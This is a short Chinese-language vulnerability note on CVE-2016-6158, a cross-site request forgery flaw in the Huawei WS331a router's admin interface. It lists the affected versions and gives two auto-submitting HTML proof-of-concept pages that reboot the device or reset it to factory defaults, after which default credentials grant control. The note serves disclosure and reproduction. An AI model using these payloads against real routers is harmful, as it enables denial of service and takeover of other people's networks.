（CVE-2016-6158）华为 WS331a 产品管理页面存在 CSRF 漏洞

一、漏洞简介

HuaweiWS331a 是中国华为（Huawei）公司的一款迷你无线路由器。使用 WS331a-10V100R001C01B112 之前版本软件的 HuaweiWS331a 路由器的管理界面存在跨站请求伪造漏洞。远程攻击者可通过提交特制的请求利用该漏洞恢复出厂设置或重启设备。

二、漏洞影响

WS331a-10 V100R001C02B017SP01 及之前版本

三、复现过程

POC 实现代码如下：

当管理员登陆后，打开如下 poc 页面，WS331a 设备将重启。

```
<form action="http://192.168.3.1/api/service/reboot.cgi" method="post">
</form>
<script> document.forms[0].submit(); </script>
```


当管理员登陆后，打开如下 poc 页面，WS331a 设备将恢复初始化配置。设备自动重启后不需要密码即可连接热点，并使用 amdin/admin 对设备进行管理控制。

```
<form action="http://192.168.3.1/api/service/restoredefcfg.cgi" method=
"post">
</form>
<script> document.forms[0].submit(); </script>
```